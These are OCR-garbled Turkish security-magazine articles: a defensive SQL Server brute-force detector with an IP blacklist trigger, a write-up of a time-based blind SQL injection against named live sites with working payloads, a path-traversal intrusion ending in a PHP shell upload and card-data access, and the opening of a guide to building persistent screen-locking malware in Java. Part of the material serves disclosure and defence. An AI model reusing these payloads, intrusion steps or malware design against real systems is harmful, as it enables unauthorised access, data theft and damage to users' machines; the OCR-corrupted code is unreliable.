8 SOL Server
@

Simdi bu islemi otomatik yapacak bir sorgu yazalim.

CREATE PROC BRUTFORCE CONTROL @MINUTE AS INT = 3

AS
BEGIN
CREATE TABLE #SQLErrorLog
(
LogDate DATETIME ,
ProcessInfo VARCHAR (20) ,
Text VARCHAR (500)
)7

INSERT INTO #SQLErrorLog
EXEC xp readerrorlog O;

DECLARE @TEXT AS VARCHAR(1000) ;
DECLARE @COUNT AS INT;

DECLARE @MINDATE AS DATETIME;
DECLARE @MAXDATE AS DATETIME;

SELECT QTEXT = Text ,
@COUNT = COUNT (*) ,
@MINDATE = MIN (LogDate) ,
@MAXDATE = MAX (LogDate)
FROM #SQLErrorLog
WHERE ( Text LIKE ‘%Login failed for user%’ )
AND LogDate >= DATEADD (MINUTE, -1 * @MINUTE, GETDATE())
GROUP BY Text
HAVING COUNT (*) > 5;
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DECLARE QUSER AS VARCHAR(100) ;
DECLARE @IP AS VARCHAR(100) ;

—-—-ORDER BY LogDate DESC

DECLARE @POS AS INT= 0;
DECLARE @POS2 AS INT= 0;

DECLARE @STR1 AS VARCHAR(1000)= REPLACE (QTEXT, ‘Login failed for USER’,
v

SET @POS = CHARINDEX (‘. Reason:’, @STR1);

SET QUSER = LEFT(Q@STR1, @POS - 1);

SET @POS = CHARINDEX (‘[CLIENT: ‘, W@TEXT);
SET @POS2 = CHARINDEX (‘]’, @TEXT);

SET @IP = SUBSTRING (QRTEXT, @POS, @POS2 - @QPOS);
SET QIP = REPLACE (QIP, ‘[CLIENT: ', ‘');

DECLARE @MSG AS VARCHAR (1000) ;

SET @MSG = CONVERT (VARCHAR, @MINDATE, 109) + ‘ VE
+ CONVERT (VARCHAR, @MAXDATE, 109) + ' TARIHLERI ARASINDA ‘ + @USER
+ Y KULLANICISI ‘ + CONVERT (VARCHAR, @COUNT)
+ Y KEZ YANLIS SIFRE GIRDI’;

IF QCOUNT > 5

BEGIN
EXEC msdb.dbo.sp send dbmail
@profile name = ‘sglegitim’,
@recipients = ‘sglserver.egitim@gmail.com’,
@subject = ‘Brute Force Saldirisi’,
@body=@MSG

END;

SELECT (@MSG;
DROP TABLE #SQLErrorLog;
END;
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Simdi ise sisteme birkag kez brute force saldirist yapalim. Simdi sirada bu islemi elle degil otomatik yapmak var.

ol Baglands, Password=Password1

o % Bunun i¢in SQL Server Agenta bir job yazmak en pratik yol.

= [ SOL Server Agent I
Rt New Job
< ] L= Lt
unueu ‘192'168'1 82.138 | | Brute Force | @ Job Manage Schedules
Kullamc ‘SA | [ Ale Manage Job Categories
1 Opr

Database |MASTER | _.npro View History

Errc
- Filter 3

Baglandi. Password=Password1 Sure:00:01

Start PowerShell

eldiablo6662 Reports b
cajolantes6
ricky amejo Refresh
abbeyeli |
adriandumitrescu
Password1
[53 New Job -
Select : -
- Ganaer‘? 5 Seript = [ Help
E" Steps
|2 Schedules Name: [BRUTE FORCE cONTROL
2 Merts o
12 Notfications WS [sa
5 Targets
Category [Uncategorized {Local)]
Description:
BRUTFORCE_CONTROL isimli sorgumuzu elle ¢alistiralim.
Connechon
ol eI, T KL N PN EE SN E L) SOLQuery2 sql - 192..38 master (SA (72))* SQLQuery1.sgl - 192...38.master (SA (56))* Qbjg
BRUTFORCE CONTROL 2 et ep
- S T
“Sebect a poge T T St e
0% - Genersl = . [BRUITE FORCE CONTROL
3 Resuks |13 Messages A L
(No column name) S Nase e ]
1 i Nov 72018 1:43:38:030AM VE Nov 7 2018 1:44:03:110AM TARIHLER| ARASINDA "SA' KULLANICISI 1073 KEZ YANLIS SIFRE GIRDI R 2%
DOmabase
Command
Sorgumuzun sonucu bu sekilde geldi. -
o . 1 s ae e
Asagida ise gelen maili gérityorsunuz. — 5
e Pame
2 R : Carnecn "
Q 3 aray . ‘sge - —
AR %] i sormection propees
¥ 8B 0 & = 0 o ® ot dizisines -- . o i i Progress
i Paady
Brute Force Saldirisi el funisi = i L —
Fnacy
sqlserver.agitim@gmail.com «xcie X Co] .
) oK Carecsl
Nov 72018 1:43:38:030AM VE Nov 7 20168 1:44.03:110AM TARIHLER| ARASINDA "SA' KULLANICIS! 1073 KEZ YANLES SIFRE GIRDI
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1] Hiew bob Schedube o x
Hame 3 DAKIKADA 1
=
Schedde tge Becumng +| (2] Enobled
Selectapoge r
& Ganera =
 Tieps
¥ Sehaduins 8
X Mets 1
£ Hothestons Frecumncy
= Taroets
Oeeurs Doty
Fiecurs every 1 5 davi)
Dinty frequency

() Ocours every Slaing o
Enaing
Duraton
Stant date 112018 | End doee:
®) Mo erd date

Cxcars wvery diy every 3 mirudeis) between 00.00:00 sl 23.55.59. Scheule wil be uesd
12008

et on 7.11.201
Careel e
—
Pk
oK Cancal
58] Mew Job 5 _ o w
Selecta page . -
Script + Hel

5 General “—:5 Pt u P

57 Steps

#1 Schedules Schedule list

5 Merts =

A Notifisations . Name Enabled  Description

A Targets 3 DAKIKADA 1 Yes Oceurs every day every 3 minute(s) b
‘Connection

Server:

192.168.182.138

Connection

SA I
Progress

Ready < >
Bk e Benove
OK Cancel

=) [ SOL Server Agent

S
E syspelicy_purge_history
[56] BRUTE FORCE COMTROL

% Job Activity Maonitor

+ 3 Alerts

+ [ Operators

¥ 1 Proxies

+ [d Error Logs

ARKA KAPI

Tekrar saldirdigimizda 3 dakika i¢inde otomatik olarak sistemin
bize mail gonderdigini gorityoruz.

€« O 0 W% = 0 B ®»
Brute Force Saldinsi

sqlzerver egitim@gmail.com -

2018 1:53.43:7T0AM VE Nov 7 20°

. Yanitla W Yanlendir

Otomatik olarak saldiriy1 tespit ettigimize gore simdi geriye
bu IPden girisleri otomatik olarak engellemek kaliyor.

Bunun i¢in Powershell ile Windows Firewall’a kural yazabile-
ceginiz gibi, daha kolay bir yol olan Server Logon Trigger’lar1
da kullanabilirsiniz.

Mantik ¢ok basit! Madem saldir1 yapan IP’yi yakaladik, bir
blacklist tablosu olusturup i¢ine bu IP’yi yazalim. Sonra da bir
Logon Trigger yazalim ve baglant1 yapan IP bu blacklist tab-
losunda var ise igeriye parolay: bilse bile girmesine izin ver-
meyelim.

Bunun i¢in yukarida yazdigimiz BRUTEFORCE_CONTROL
isimli Stored Procedurede bir degisiklik yapacagiz.

Oncelikle AUDITLOG isimli bir database olusturalim.

T-550AM TARIHLERI ARASINDA "SA’ KULLANICIS! 475 KEZ YANLIS SIFRE

GIRDA

[H Mew Database — m}
Selectapage I )
- 5 - Hel
& General ; . u =
_""“ Qptions
2 Filegroups Database name: ‘AUDlTLOG|
Owner: ‘cde{auh‘; ‘
Database files:
Logical Name File Type  Filegroup Autogrowth / Maxsize
AUDITLOG ROWS..  PRIMARY By 64 MB, Unlimited
AUDITLOG_... LOG Mot Applicable & By 64 MB, Unlimited
Connection
Server:
192.168.182.138
Connection:
SA
3¢ View connection properties
Progress
Ready =

Add Remo

Cancel



Bu database igerisinde blacklist isimli bir tablo olusturalim.

CREATE TABLE [dbo].[BLACKLIST] (
[ID] [int] IDENTITY(1,1) NOT NULL,
[DATE ] [datetime] NULL,
[IPADDRESS] [varchar] (50) NULL

)

Simdi de BRUTEFORCE_CONTROL isimli Stored

Procedure’ii su sekilde giincelleyelim. Mail gondermeden he-
men Oncesine asagidaki kodu ekleyelim.

INSERT INTO AUDITLOG.dbo.BLACKLIST
( IPADDRESS,

DATE )

VALUES ( QIP ,

GETDATE () )

Son olarak bir de server trigger yaziyoruz ki bu blacklistde
olan IP sisteme giris yapamasin.

Yalniz bu islemi yapmadan once sistem veri tabani yedegini
almaniz1 siddetle tavsiye ederim. Bir hata olursa SQL server’a
siz de giremiyorsunuz zira.

C:\Program Files\Microsoft SQL Server\MSSQL12\MSSQL\
DATA klasorii igerisinde master.mdf ve master.ldf dosyalari-
nin yedeklerini alin mutlaka. Yedek almak icin SQL servisini
durdurmaniz gerekiyor.

Sonra asagidaki sorguyu ¢alistirarak sisteme blacklistdeki bil-
gisayarlardan girisi engellemis olursunuz.

create TRIGGER [connection limit trigger]

ON ALL SERVER

FOR LOGON

AS

BEGIN

IF CONNECTIONPROPERTY (‘client net address’)
IN (SELECT IPADDRESS FROM AUDITLOG.DBO.
BLACKLIST)

ROLLBACK;

END

Olusturdugumuz bu trigger’1 Server Objects kisminda bu se-
kilde goriiriiz.

ARKA KAPI Omer Faruk Golakoglu - Veri Tabani Saldinilari ve Korunma Yéntemleri

Simdi saldirdigimizda artik saldiran IP'nin blackliste diistii-
guni goruyoruz.
£ Security
£ Security
= Server Objects
s Backup Devices
£ Endpoints
3 Linked Servers
-
H connection_limit_trigger
= Replication

PolyBase
Alensmsre Fim sk fnrmilabilita

Ve artik parolayr dogru girseniz bile iceri giremediginizi go-
rityoruz.

LQueryb.sql - 192..38.master (SA (73))* X REeRelE SR BRI ERELE R Cd L) SOLL
SELECT * FROM AUDITLOG.DBO.BLACKLIST

0% -

T Resuts _'_1 Messages
DATE_
018-11-07 02:08:37.850

IPADDRESS
152.168.1821

Umarim faydali bir yazi olmustur.

Saglicakla. ..
al
Microsoft SQL Server 2014
Database Engine
Server name [152.168.182.138 |
Authentication SQL Server Authentication ~
Login: |SA ~ ‘

Password: | ‘
[] Remember password

i successfully.

'6' Cannot connect to 192,168. 182.138.

- Additional information:
i Logon faled for login 's3' due to trigger execution.
Changed database context to 'master’.
Changed language setting to us_english, (Microsoft SQL Server, Error: 17892)
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Garsida Buldum Bir Tane: Escrow
Odeme Altyapisini Kullanan Yiizlerce
Siteyi Etkileyen Zafiyet

644 bin 723 siteyi etkileyen Escrow Sistemlerindeki SQL Injection Zafiyeti

Bu yazi bir giivenli 6deme sisteminde buldugum ve 644 bin 723 web sitesini etkileyen zafiyet hakkinda olacak.

Escrow

scrow, Tiirkgede “Belli sartlar karsilanincaya kadar malin ti¢lincii bir sahsin kontrolii altinda tutulmasi” anlamina gel-
mektedir.

Escrow’u Tiirkiyedeki e-ticaret sitelerinde havuz tabiri ile anilan mekanizmaya benzetebilirsiniz. Kullanici bir iiriinii
satin alir, iirtin ya da hizmetin bedeli dogrudan saticiya aktarilmak yerine, alic1 {iriin ve hizmeti kusursuz olarak teslim aldigini
belirtene kadar araci kurumun havuzunda bekletilir, onay ile birlikte saticiya aktarilir.

Escrow.com da sadece bu isi yapan diinyadaki en giivenilir sistemlerden biridir.

Zafiyetin oldugu 644 bin web sayfasindan herhangi birine girdigim zaman asagidaki script ile karsilagtim:

@ Firefox Dosya Dizen Goriinim Gegmis Yerimleri Araglar Pencere Yardim C X2 = o) %20 B Cmt22:61
2 @ |y'CeniﬁadHacke:s.comdomain X | hitp:fjwww.certifiedhackers.comf/ X |+
G @ Q | @ view-source:http:/fwww.certifiedhackers.com/ - & % m o X
<tr>
<td>
<img sre="img/landing themes/north/tick.png" alt="Bullet"=
</td>
<td>
Boost your business and invest in the right domain name </td>
</tr>

</table> <br>

</div>
<div class="col-sm-6">

<div class="row offerbox">
<hl class="tac osw">Make an Offer!</hl> <br>

<form action="routes/ajax actions/landing themes/add inquiry cap.ajaxa.php" method="post" class="odf ajax" data-target="form feedback" autocomplete="off">

<input type="hidden" name="domain_id" value="765357">
<input type="hidden" name="user id" value="2987">

<div id="form feedback"'>
</div>

<div elass="col-sm-12">
<table class="nametable">
<tr>
<td>
<img sre="img/landing_themes/north/name.png" alt="Name">
</td>
<td>
<input type="text" placeholder="Name" name="name" autocomplete="off">
</td>
</tr>
</table>
<table>

Bu siteyi ziyaret ettigimde domaini satin almak i¢in teklif gonderilen bir form ile karsilagtim.

Form bes adet girdi alanina sahipti. Name, E-mail, Phone, USD, Message. Ve tabii teklif ile birlikte ciddi bir alic1 oldugunu be-
lirten “Ben Robot Degilim” onayu. :)

Sayfa kaynagindan formun gonderildigi URL1 tespit ettim.
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Valuation Link >>> GoDaddy Appraisal Tool

Recent GoDaddy Appraisal = $1,950.00

& our domain name is your identity on the Internat
&/ Establish instant trust and credibility with customers

o Premium domain names may appreciate in value over
lme

MAKE AN OFFER!

o Boost your business and invest in the right domain name

Ben robat degilim

Bu form routes/ajax_actions/landing themes/add_inqu-
iry_cap.ajaxa.php sayfasina kullanicidan aldig asagidaki 5
farkl: girdiyi (name, e-mail, phone, usd,message) POST meto-
dunu kullanarak génderiyordu.

Birkag rastgele payload denedikten sonra incelememe Burp
Suite isimli arac1 kullanarak teste devam ettim.

Istegi Burp Suitein Repeater aracina aktardiktan sonra bu

POST /routes/ajax actions/landing themes/add
inquiry cap.ajaxa.php HTTP/1.1

Host: www.certifiedhackers.com
Accept-Encoding: gzip, deflate
Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0
9.0; Windows NT 6.1; Win64d; x64;

(compatible; MSIE
Trident/5.0)
Connection: close

Referer: http://www.certifiedhackers.com/

Content-Type: application/x-www-form-urlen-
coded

Content-Length: 114

Cookie: PHPSESSID=XXXXXXXXXXXXXXXXX

domain id=765357&user_ id=2987&name=berké&ema-
il=berk@berk.berk&phone=6666666&postal=6&o0ff-
er=6&request consent=1

Burada akla ilk gelebilecek payloadl denedim. Bu bir SQL
Injection’in tespitinde en yaygin kullanilan ve SQL sentaksini
bozacak tek tirnak (°) isareti idi.

user_id girdisine tek tirnak (‘) koyarak bir hata mesaji1 iiret-
mesini saglamaya caligtim.

(igon) [Fcancer) [F=im 50

Request

Target: htp:/ jwww.certifiedhackers.com 7 (7))

Response

Raw Headers- Hex | HTML | Render

POST /routes/ajax_actions/landing_themes/add_inquiry cap.ajaxa.php HITP/1.1
Host: www.certifiedhackers.com

sccept-Encoding: gzip, deflate

nccept: /%

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win€4; x64; Tridents5.0)
Connection: close

Referer: http://www.certifiedhackers.com/

Content-Type: application/x-www-form-uzlencoded

Content-Length: 110

Cookie: PHPSESSID=ptolg33ih22528i9n3hEpg5Sy3l

T

domain id=7653574user id=2987 &name=berk&email=berkBberk.berksphona=66666664postal=6soffer=6irag
uest_consent=1

Raw | Params HewersTE-]
L —

HTTF/L.1 200 OK

Server: nginx/1.10.3 (Ubuntu

Date: Sat, 27 Oct 2018 20:05:14 GMT

Cantent-Type: text/html; charset=UTF-§

Connection: close

Expires: Thu, 19 Nov 1981 0B:52:00 GMT
Cache-Contral: no-store, no-cache, must-revalidate
Pragma: no-cache

Content-Length: 214

T s

<script>
grecaptcha.reset();
</seript>
<div class="validater_status validator_errors">
<p»Plaase enter a valid e-mail address<b:>Please enter a
message<br>Please confirm you're human<br=</p>
</dive

defa gizli iki adet girdi alan1 daha goziime carpti. Bu alanlar
domain_id ve user_id isimli alanlard.

Aslinda bu benim zafiyet bulmak i¢in kullandigim genel bir
yaklagim. Burp Suite ile yaptigim testlerde her zaman igin
HTTP isteklerini 6nce Repeater yardimu ile elle kontrol eder,
ardindan siiphelendigim girdi tizerine yogunlasir ve yine Burp
Suite’in bagka bir araci olan Intruder ile fuzzing yaparim.

Genelde Error-Based SQL Injection zaafiyetlerini tek tirnak
ile yakalamaya calisirim. Tek tirnak ile bir zaafiyet yakalaya-
mazsam Intruder yardimi ile SQL kontekstindeki anlaml di-
ger meta karekterlerin ilgili girdi alanini igin birer birer de-
nenmesini saglarim.
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Her zaman i¢in amag¢ s6z dizimini bozabilmektir. S6z dizimini bozarsaniz yeni sorgular kosturabilirsiniz.

(1« Jausl - |

[ Targes | Posaions | payiaads | opoions |

(3) Pavioad Sets
(@ rayload Set Start attac

You can define one

mere paykoad sets, The number of payload sets depends on the Atk type defined in the Positions tab. Vasious payload types are avadble for cach payload set, and sach payload typ+ can be customized in ddfferent

s,
Fayloa set: [ 1 ¥ payioad count 22
Payload type: | Sample list - Request count: 198

(7) Payload Options [S

This payload type lets you configure a simple list af sirings that are wsed as payloads.

Paste & ]

Payload Processing

You can defing rules 1o perform vasious pro<essing tasks on cach payload befors it is used

Add Enabled | Rule

Yukarida Intruder’in bir ekran goriintiistinii gormektesiniz. Bu arayiiz vasitasi ile once denenecek meta karakterlere ait dosyay1
gosteriyor, sonra bu meta karakterlerin hangi parametreye yiiklenecegini belirtiyorum. Ornegin user_id parametresi.

&€ StartBurp D 2 B4 %2 @ Cmt2320 Q @
[ K Intruder attack 1
Attack Save Columns

[ Resuits | Target | positions | Payloads | optians |

l Filter: Showing allitems |®
Request 4| Position | Payload Status | Errar Timeout | Length Comment

0 T 200 O 0O ao1 "
1 1 & 200 [®] [

2 1 200 8] (S )
3 1 200 (8] o 491

4 1 200 [ O 549

5 1 \ 200 o O 549

6 1 ', 200 (@] (@] 549

7 1 | 200 o (@] 491

8 1 * 200 B o 40

9 1 ? 200 g S

10 1 ~ 200 @] @ 491

11 1 < 200 o o 549

12 1 > 200 [ [ 549

13 1 A 200 o [0} 491

14 1 ( 200 o a 491

15 1 ) 200 (5] o 49

16 1 [ 200 =] a 49

17 1 1 200 o o 491 b
18 1 { 200 8] @ a9 v
R —

| Request | Response |

fkawT Headers. T Hex T HTML T Render }

A
r

Nov 1981 08:52:00 GMT
store, no-cache, must-revalidate

che
Content-Length:

214

<script>
grecaptcha.reset();

tor_status validator_err

Please ¢nter a valid e-mail address<br>Please enter a message<br>Please confirm you're human<br></p>

e
.

Q@ iy e > Type a search term 0 matches

Finished B
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Fuzzing islemi bittikten sonra tek tek payload’lar1 gozden gegirip, response’lara yani HTTP yanitlarina bakiyorum.

Burada digerlerinden farkli olan, yani Fuzzing islemi sonucunda anormali yarattigim istekleri kimi zaman HTTP yanitinin
durum kodundan, (400 serili kodlar, 500 serili kodlar 6rnegin), kimi zamanda dénen yanitin diger yanitlardan farkli olan igerik
uzunlugundan (Content-Length) ayirt ediyorum.

Asagidaki HTTP yanitindan da anlagilacag: tizere gonderdigim ¢ift tirnak karakteri (“) SQL sorgusunda bir anomaliye yol agt1
ve bir hata mesaj1 gériintiiledim.

Response

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Sat, 27 Oct 2018 20:36:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

<p>Error: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in
your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near ‘portfolio” or type="development”) AND domains.id = ‘765357’ OR-
DER BY id DESC’ at line 1<br>

Line 221 of file /var/www/html/includes/classes/domains.class.php</p> <script>

Her zaman bu kadar sansh olacaginiz1 diisinmeyin. Error-Based SQL Injection databasede yarattig1 anomaliyi farketmek ve
iceriden data ¢ikartmak i¢in en kullanisli olan SQL Injection tiirti. Fakat SQL Injection zafiyetinin Time-Based, Boolean Based,
Out-of-Band gibi daha sinsi ve gorece daha ytiksek “skill”ler gerektiren varyasyonlar1 da mevcut.

Tabii bu zafiyet kesfi siirecinde sansimiz yaver gitti. Sayet talih Error-Based SQL Injection ile ylzlimiize giilmeseydi, SQL
Injection’in yukarida saydigimiz diger varyasyonlar: iizerinden incelememize devam edecektik.

Hatamiz1 goriintiileyip, SQL Injectionin varligindan emin olduktan sonra gerisi zafiyeti SQL komutlari ile istismar edip, veri
cikartmak.
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Istismar

Ben genellikle tespit ettigim SQL Injection zafiyetlerini Time-Based varyasyonunda istismarinda kullanilan komut setleri ile
somiriiyorum. Bu yontemler ¢ok basit ve ¢ok eglenceli. Sadece s6z dizimini yakalayabilmemiz lazim.

Ornek payloadlar:

and sleep(10)--

and sleep(10)--+

and sleep(10)/*and sleep(10)#

Yukaridaki payloladlar: denedigimde, SQL ciimlesine uygun olan and sleep(10)# payload’ina HTTP yanitinin normal yanittan
farkli olarak, 10.116 milisaniye, yani 10 kiisiir saniye gecikmeli gelmesine neden oldu.

| Go Cancel

Request

]’.RawT Params THeaders THex ]
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Sira geldi veri tabani ismini 6grenmeye. Asagida verecegim payload’lar SQL sorgusunun asagidaki sorulara yanit vermesini

saglayacaktir.

Eger veri tabani ad1 1 karakter uzunlugunda ise 10 saniye bekle
Eger veri tabani ad1 2 karakter uzunlugunda ise 10 saniye bekle
Eger veri tabani ad1 3 karakter uzunlugunda ise 10 saniye bekle

Eger veri tabani ad1 4 karakter uzunlugunda ise 10 saniye bekle

and (select sleep(10) from dual where database() like ‘_’)# Beklemedi
and (select sleep(10) from dual where database() like ‘_ _*)# Beklemedi
and (select sleep(10) from dual where database() like *_ __’)#  Beklemedi
and (select sleep(10) from dual where database() like_ __ _’)# Cevap 10 saniye sonra geldi

Veri taban1 adinin 4 karakter uzunlugunda oldugunu 6grendikten sonra sirasiyla harfleri bulmamiz gerekiyor.
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Payload

“and (select sleep(10) from dual where database() like ‘%a%’)#

Eger veri taban1 adinin ilk harfi “a” ise 10 saniye bekleyecekti. Fakat cevap bekledigimiz kadar uzun siirmedi, demek ki kogul
saglanmadi. Yani veri tabani ad1 “a” harfi ile baglamiyor.

Tek tek denemeye devam ediyoruz

“e” harfinde 10 saniye bekledi, veri tabani adinin ilk harfi “¢”. Devam ediyoruz.

Cancel < (v > ¥ - 1 2 (-
Go | | cance <iv) Target: http:/ fwww.certifiedhackers.com /' (7)
Request Response
| Raw [ params | Headers | Hex Raw | Headers | Hex | HTML | Render |
3 ns/landing_themes/add_inquiry cap.ajaxa.php HTTE/1. ] 1 200 OK 3
ac! com r inx/1.10.3 (Ubuntu) -
p. deflate 7 Oct 2018 22:11:50
0 (compatible; MSIE 9.0; Windows NT 6.1; Winéd; x64; Trident/5.0) G
tore, no-cache, must-revalidate
Referer: http://w m/
Content-Type: 2 lencoded
-Length:
grecaptcha.reset();
om du > database() like tes ) # >
k.berksphone=666666bapostal=bhoffe uest_consent=] alidator
<p>Fo —
Please contact us at ask@efty informatios
</div>
= =
v L 3
@ < ||+ > ype 0 matches @ < + | = hugo 0 matches
Done 532 bytes | 10.113 millis

Ardindan ikinci harfini 6grenmeye ¢alistyorum

“and (select sleep(10) from dual where database() like ‘%e%{%’)#

Bu sekilde 4 karakter uzunlugundaki veri tabani adinin tiim karakterlerini 6greniyoruz.
Zatiyetten etkilenen domainlerden bazilar::

http://www.altcoin.com

http://www.certifiedhackers.com

http://www.ntv.com

http://www.record.com
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Google’in hildigi
sir degildir!

eb sitelerinde giivenlik agig1
tespit etmeye calisirken en ¢ok
yardimi arama motorlarindan

aliriz. Bu hedefin tistesinden gelebilmek
i¢in tiim ayarlarin yer aldig1 konfigiirasyon
dosyasinin izini siirecegiz.

Google arama botu tarafindan index’lenen
site dosyalarini kontrol ederken dikkatimi
baz1 hususlar ¢ekti.

Daha sonra system32.php adinda bir dos-
ya gordiim.

Sonuglardan anladigim kadariyla site
ile alakali her sey bu dosyada mevcuttu.
Ben de bu dosya {izerine yogunlagmaya
karar verdim.
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¢ikan sonuglardan anladim ki sistemin igeri-
sine agilan kap1 bu dosyadan gegiyor

Bu adres aracilig: ile sistem {izerinde bu-
lunan dokiimanlar1 indirebiliyorduk. Ben
bununla system32.php dosyasini indirmeyi
denedim.

tile=system32.php olan yeri file=../system32.
php haline getirdigimde dosyay1 artik indi-
rebiliyordum.

Dosyay1 agtiktan sonra config yolunu 6grendim ve hemen arkasindan config dosyasini indirdim.

Dosyada bulunan veri tabani bilgilerini boylece elde etmis oldum.

Daha sonra hizlica adminer yardimi ile veri tabanina baglandim.

Veri tabanini incelerken elimden yagama sevincimi alan, gozlerimden yas gelmesine sebep olan medeniyetten uzak kalmuis ilkel
bir yazilimcinin yapabilecegi bir durumla kargilagtim:

Hash’'lenmis olan parolay1 ayni zamanda plain text olarak veri tabaninda tutuyorlardi. Saka gibi ama bu gergek! Hizlica sisteme
login olarak iceriye rc.php adinda shell dosyasini yiikledim (evet diimdiiz PHP kabul ediyordu, siiper degil mi?)
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Artik PHP shell erisimi aldigima gore igeride istedigim gibi at kosturabilecektim ama yapmadim, ¢tinkii veri tabaninda kredi
kartlariyla ilgili veriler vardi.

Alt1 ¢izili metinlerde kredi karti bilgilerinin gizlendigi goriilityor. Veri tabanina plain text olarak kaydedilen bilgileri, hangi
fonksiyonun bu sekilde gizli hale getirdigini bulma zaman:

[ste burada! Kod igerisinden sansiirii kaldirip sonraki 6demeleri ele gegirmek miimkiindii. Hizlica giivenlik agigini bildirdim.
Sistem yoneticileri de ellerini ¢abuk tutarak zafiyeti derhal fix’lediler.

Kissadan hisse, ilk olarak bu atagin basladigi Google arama sonuglarinda hangi sayfalarinizin index’lenecegini robots.txt dos-
yast ile kontrol edebilirsiniz. Kullanici parola ve kredi kart1 gibi bilgilerin de veri tabaninda plain text olarak saklanmasinin ne
derece 6liimciil olabilecegini gordiiniiz. Dolayisiyla hash ve salt olarak bilinen o kullanici ya da veri tabani kaydinin yazildig:

zamana ait benzersiz bir deger ile Rainbow saldirilarinin, hani 6nceden hesaplanmis hash’lerin kullanilarak hashe karsilik gelen
metnin bulunmasini engelleyebilirsiniz.
Giivende kalin!
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irtis yazarlarini giidiileyen pek ¢ok neden siralayabi-
"- liriz: kimileri siber vandallik igin, kimileri bu yolla
para kazanmak icin, kimileri ise bir kurumu zarara
ugratmak, sevmedigi birinden intikam almak i¢in bu zararl
yazilimlar1 gelistirmektedir. Viriis yazarlarinin bir kismu ise
antiviris programi yapmak ya da bunun gibi viriislere karsi
onlemler alabilmek i¢in viriislerin nasil yapildigini, nasil ¢a-
listiklarini anlamak tizere bu ise kollarini sivarlar.

Sonugta bu kisileri viriis yazmaya yonlendiren sey ne olursa
olsun bir problem vardir ki o da internette bu konuda arastir-
ma yaptiginizda karsiniza ¢ikan tek seyin agir1 havali antiviriis
reklamlari ya da kotii niyetli hackerlerin tasarladig: size fayda
saglayacakmis gibi goriinen ama aslinda sizi tuzaga diisiiren
oltalama tuzaklar1 olmasidir.

Universitede 6grenci oldugum zamanlar bos vakitlerimde hep
Java programlamayla ugrasirdim. Birgiin bir medya oynatici
uygulamasi olarak tasarladigim program GUTsindeki kiigiik
bir hatadan dolay: adeta viriis gibi ¢aligmis ve istiiste agilan
pencereler ile bilgisayar1 ayni bir forkbomb viriist gibi ki-
litlemisti. O giin fark ettim ki bir zararli yazilim gelistirmek
i¢in aslinda ¢ok saglam bir bilgi birikimine ya da profesyonel
egitimlere ihtiyaciniz yoktu, tek yapmaniz gereken sey basit
distinmekti.

Ornegin Java.awt.Robot classni sonsuz dongii ile kullanip
ekrandaki mouse kursorunu 0,0 noktasina sabitleyen bir
program arka planda ¢alistiginda bir zararli yazilim islevi go-
rebilirdi ya da c¢aligtirildiginda kendisini Windows Start Up
(Baslangi¢) klasoriine kopyalayan bir program bilgisayar agik
oldugu siirece sabit diskinizdeki bir yerde klasor acip orda
dosya olusturup bu dosyalara rastgele byte’lar yazarak sisire-

bilir ve sabit diskinizdeki bos alan1 tamamen doldurabilirdi.

Sadede gelirsek bugiin sizlere bir viriis yapmaya karar verdi-
ginizde ise nasil baslayabilirsiniz, nasil bir yol izleyebilirsiniz
agama asama anlatmaya calisacagim. Bu yazida 6rnek olarak
Lockdown adini vermis oldugum viriis kodunun tizerinden
gidecegim.

Ideal Programlama Dili Secimi

Her programlama dilinin avantajlar1 ve dezavantajlar1 vardur,
dolayisiyla viriis yapmak i¢in tek bir programlama dilinin en
iyisi oldugunu séyleyemeyiz. Bu noktada yapilmas: gereken
programlama dilini segerken nasil bir viriis yapmay: planl-
yorsaniz buna gore karar vermektir. Ancak ozellikle tavsiye
ettigim diller Object Oriented (Nesne Yonelimli) olan yiiksek
seviyeli dillerdir yani C# ve Java gibi diller; ¢iinkii basit script
dillerini kullanirsaniz hem yapabilecekleriniz daha kisith olur
hem de basit script dillerinde viriis kaynak kodu compile edil-
meyecegi i¢in kaynak kodu acik olacaktir.! Bu viriisiiniiz igin
biiyiik bir sorun demektir. Ciinkii Perl, Python gibi script dil-
lerini kullanarak yazdiginiz bir viriisiin ¢aligabilmesi i¢in kur-
banin bilgisayarinda bu betikleri yorumlayacak bir interpreter
(yorumlayici) yiikli olmasi gerekmektedir.

Bir diger faktor de hangi dilde en ¢ok bilgiye sahip oldugu-
nuz gercegi. Ornegin C# ile Java arasinda kararsiz kaldiysaniz
ve Java’yr daha iyi biliyorsaniz zaten her iki Object Oriented
oldugundan Java'y: secebilirsiniz. Benim kisisel tercihim her

1 Burada yazarin anlatimindan hareketle s6z konusu olanin derlenebilen diller
oldugunu soyleyebiliriz. Zira derlenebilen diller ¢ikt1 olan galistirilabilir
(binary) bir dosya tiretmektedir. Derlenebilen biitiin diller Object Oriented
degildir. e.n.
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zaman Java olmustur. Bunun bir diger avantaji da JAR dosya-
larinin incelenmesi anti-virisler i¢cin gorece daha zordur. Java
biitiin popiiler isletim sistemleri tarafindan desteklendigi i¢in
virtisiiniiz Windows igletim sistemi digindaki bilgisayarlarda
da calisacaktir.? Tabii sadece Windows isletim sisteminde cali-
sacak bir ozellik eklemezseniz.

Baslangic Asamasi

Oncelikle yapmak istedigimiz viriisiin sahip olacag1 yetenek-
lere karar vermemiz gerekiyor. Mesela buradaki 6rnegimizde
hazirlayacagimiz viriisiin ¢alistig1 zaman once kendisini bilgi-
sayara kopyalayip sonra siirekli bilgisayar: kilitleyen bir viriis
olmast gerekiyor.

Viriisiin bilgisayar: kilitlemesi i¢in neler yapabiliriz? Dosya-
lar1 sifreleyecek bir encryptor ya da meshur WannaCry virii-
sti gibi dosyalar gizli bir klasore tasiyacak bir sey olabilir. Bu
tamamen sizin hayal giictiniize kalmis bir konu. Ama benim
bu ornekte tercih ettigim yontem biraz daha basit distiniip
kullanicinin direkt bilgisayar: kullanmasina engel olan ve kur-
tamak i¢in ayn1 encryptorler gibi sifre soran bir sey yapmak.

Viriistin kendini bilgisayara yiiklemesi i¢in kendini Windows
Start Up (Baslangic) klasoriine kopyalamasini saglayabiliriz.
Boylece bilgisayar her agildiginda viriis de ¢alisacaktir. Bas-
ka bir yontemde ise viriis kendisini rastgele ya da belirlenmis
bir klasore atip yeniden baslayabilmek i¢in Registry Key olus-
